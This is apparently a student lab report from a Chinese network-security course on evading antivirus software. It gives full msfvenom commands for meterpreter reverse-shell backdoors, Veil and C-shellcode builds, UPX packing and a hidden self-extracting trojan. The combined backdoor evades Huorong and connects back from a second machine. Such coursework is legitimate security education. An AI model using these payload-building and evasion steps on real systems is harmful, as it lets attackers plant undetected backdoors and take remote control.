2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践

一、实验概述

1.1 实验目标

理解免杀原理。

通过实践掌握免杀各种基本方法。

1.2 实验内容

正确使用msf编码器生成后门,使用msfvenom生成如jar之类的其他文件,使用veil生成后门,正确使用加壳工具,使用C + shellcode编程生成后门,使用其他课堂未介绍方法生成后门。

通过组合应用各种技术实现恶意代码免杀,用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

二、实验准备

2.1 安装veil

大家通常会在安装veil的过程中遇到问题,我也一样并非一次安装成功的,我主要参考了这个博客,按照里面的配置步骤,最终安装成功。

博客地址:https://blog.csdn.net/xuanhun521/article/details/52821247

2.2 Kali网络配置

由于Kali是在VM上运行的虚拟机,故需要对其网络进行一些配置,才能连通网络。

Step1

管理员身份运行VM,将Kali网络连接方式改为桥接。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第1张图片

Step2

选择【编辑】-【虚拟网络编辑器】。

将【VMnet0】类型改为【桥接模式】。

在VMnet信息选择【桥接模式】,桥接到【物理机网卡】。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第2张图片

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第3张图片

说明:利用ipconfig/all可以查询本机网卡。

Step3

在Kali,输入vi /etc/network/interfaces,回车。

添加以下内容。

保存退出。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第4张图片

Step4

输入/etc/init.d/networking restart,回车。

输入ping www.baidu.com,回车。

说明:重启网络服务,尝试ping百度,成功,于是Kali网络配置成功。

三、实验步骤

3.1 使用msf生成三类后门

Step1

使用VirusTotal(下称VT)扫描实验二生成的后门程序。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第5张图片

说明:扫描结果是有58种查杀软件可以查出后门,没能实现免杀。

Step2

在Kali,新建终端,输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.133.130 LPORT=4314 -f exe > encoded_20174314.exe,回车。

将生成的程序用VT扫描。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第6张图片

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第7张图片

说明:利用msf编码器,对后门程序进行10次编码,再次测试免杀效果。依然有56种杀软可以查杀程序。

Step3

输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.133.130 LPORT=4314 x>backdoor_java_20174314.jar,回车。

将生成的程序用VT扫描。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第8张图片

 2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第9张图片

说明:利用msf生成jar后门程序文件,依然可以被过半的杀软查杀。

Step4

输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.133.130 LPORT=4314 x> backdoor_php_20174314.php,回车。

将生成的程序用VT扫描。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第10张图片

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第11张图片

说明:利用msf生成php后门程序,此处极少杀软可以检测出来,但是依然没有达到完全免杀的效果。

3.2 使用veil生成后门

Step1

新建终端,输入sudo veil,回车。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第12张图片

Step2

输入use evasion,回车。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第13张图片

说明:进入veil-evasion。

Step3

输入list,回车。

说明:显示所有的payload。

Step4

输入use c/meterpreter/rev_tcp.py,回车。

Step5

输入set LHOST 192.168.1.104,回车。

输入set LPORT 4314,回车。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第14张图片

说明:将IP地址设置为Kali的IP地址,将回连端口设置为4314。

Step6

输入generate,回车。

输入20174314_veil_backdoor,回车。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第15张图片

说明:最关键核心的一步,生成后门文件,并命名为20174314_veil_backdoor。

Step7

将后门文件用VT扫描。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第16张图片

说明:扫描结果是——尽管veil的安装很复杂,但是免杀效果依然平平无奇。真令人意外。

3.3 使用C+Shellcode编程生成后门

Step1

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.189 LPORT=4314 -f c,回车。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第17张图片

说明:通过指令生成一段Shellcode。

Step2

输入vim 20174314.c,回车。

输入以下程序,保存退出。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第18张图片

说明:手动创建一个c文件,然后将Shellcode的内容赋值到c文件的数组中,加上主函数达到执行Shellcode的效果。

Step3

输入i686-w64-mingw32-g++ 20174317.c -o 20174317.exe,回车。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第19张图片

说明:将c文件编译成为可执行文件。

Step4

将文件用VT扫描。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第20张图片

3.4 使用加壳工具

输入upx 20174314.exe -o wfz.upxed.exe,回车。

将生成的文件用VT扫描。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第21张图片

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第22张图片

说明:利用简单的语句对后门程序进行加壳。所谓加壳,就是对资源进行不破坏其运行的压缩。由于没有根本改变程序的内容,同时加壳算法又是公开可查询的,所以免杀效果依然不佳。

3.5 (课堂未介绍)使用自解压式捆绑木马

Step1

选择后门文件与pwn1,添加到压缩文件。

Step2

选择【常规】-【创建自解压格式压缩文件】。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第23张图片

Step3

选择【高级】-【自解压选项】。

选择【模式】-【全部隐藏】。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第24张图片

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第25张图片

 说明:将后门文件添加到自解压的压缩包中,压缩包格式为exe,即可执行文件。用户只要点击,就会自动解压,植入后门。

Step4

将文件用VT扫描。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第26张图片

说明:免杀效果依然较普通。

3.6 使用组合方法实现免杀

组合技:C+Shellcode编程+加壳工具+自解压捆绑。

用VT进行扫描,结果会如何呢。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第27张图片

 说明:一言难尽。不过这是除了php之外查杀率最低的效果了。

3.7 使用另一主机回连实测

Step1

通过微信,将后门传输给目标机,并存储在指定位置。

Step2

用火绒进行指定范围的查杀。

 2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第28张图片

Step3

记录查杀结果与软件版本。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第29张图片

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第30张图片

说明:没有查出来。免杀了!杀毒软件为火绒5.0.41.6。

Step4

在Kali进行回连。

说明:还需要说明吗,成功了!

四、实验错误分析

本次实验在安装veil时遇到一系列错误,但是都可以通过参考他人博客解决,在此主要讲述我遇到的较少见的错误。

我在运行msf时,报错You must use Bundler 2 or greater with this lockfile。

此处需要更新安装bundler。指令如下。

gem update --system

gem install bundler -v 2.0.1

注意,若非root可能出现权限不够的问题。

2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践_第31张图片

安装之后,就可以正常进行实验了。

五、实验收获感想

5.1 实验问题回答

5.1.1 杀软是如何检测出恶意代码的?

杀软主要通过三种方式检测恶意代码:基于特征码检测、启发式恶意检测、基于行为检测。

基于特征码检测,就是基于已有的特征码数据库,而数据库中的特征码是大部分后门软件都会具有的,根据静态对比,进行检测。

启发式,就是需要后门软件“启发”杀软。如何启发?通过一些片面特征检测,如盗取信息,尝试提权等。

基于行为是启发式的一种,如果软件存在可疑行为,则会被检测出来。

5.1.2 免杀是做什么?

所谓“免杀”,是让软件“免”于“杀”软,主要是后门软件需要实现免杀。也就是,软件通过加壳、多次编码、伪装在压缩包中等方式,躲避查毒软件的检查的排除,稳定的存在于系统中,实现后门、信息盗取等功能。

5.1.3 免杀的基本方法有哪些?

在我们这次实践了多次编码、加壳、加压缩包的方式尝试免杀。总的来说免杀的基本方法有以下几类。

改变特征码:针对杀软基于特征码检测的特性,修改自身特征码从而免杀。加壳就是一种典型的改变特征码,通过压缩使得代码变化,但是实现的功能依然不会变。

改变行为:将可疑的行为变得自然,例如利用反弹式连接代替主动连接,加入混淆作用的正常功能代码,使得程序行为正常等。

5.1.4 开启杀软能绝对防止电脑中恶意代码吗?

答案是NO,这是显然的。我在实验中通过组合技躲过了我一直以来非常信任的火绒,令我十分意外。因为免杀操作一层套一层,不可能穷尽所有的变化,达到绝对的防御。但是我们的杀软依然可以过滤大部分恶意软件,杀软在很大程度上是值得我们信任的。

5.2 我的感想

5.2.1 安装veil太麻烦,各家博客好好看

觉得这会是一个大家总结都避不开的话题。安装veil,由于安装语句的不确定性,网络环境的不稳定性,大家都在安装veil这一步遇到了困难,但是这份困难不是不能解决的。我在安装的过程中,除了查看网络这种说明指南之外,更多的是参考同一课程的同学们的博客。大家的水平相近,遇到的问题也类似,相比于在茫茫的博客海中南辕北辙,不如就在身边看看“另一个自己”是如何解决问题的。博客提交作业这种方式我受益很深,从来没有这么高效的从同学们吸取这么多的知识。

5.2.2 免杀手段千千万,安全操作一刀断

回到实验的内容上,我们通过各类免杀手段,最终免过了自己最信任的杀入软件的追逃。有的人或许会害怕怀疑——杀毒软件是不是就这样“失效”了呢?绝对不至于,要不然现在我们怎么可能安稳地听着音乐、写这博客、熬着夜。但是免杀手段千变万化,如果我们能从自己做到安全操作,不上可疑网站,不进行危险操作,恶意软件是不会主动找上我们的。

你可能感兴趣的:(2019-2020-2 20174314王方正《网络对抗技术》Exp3 免杀原理与实践)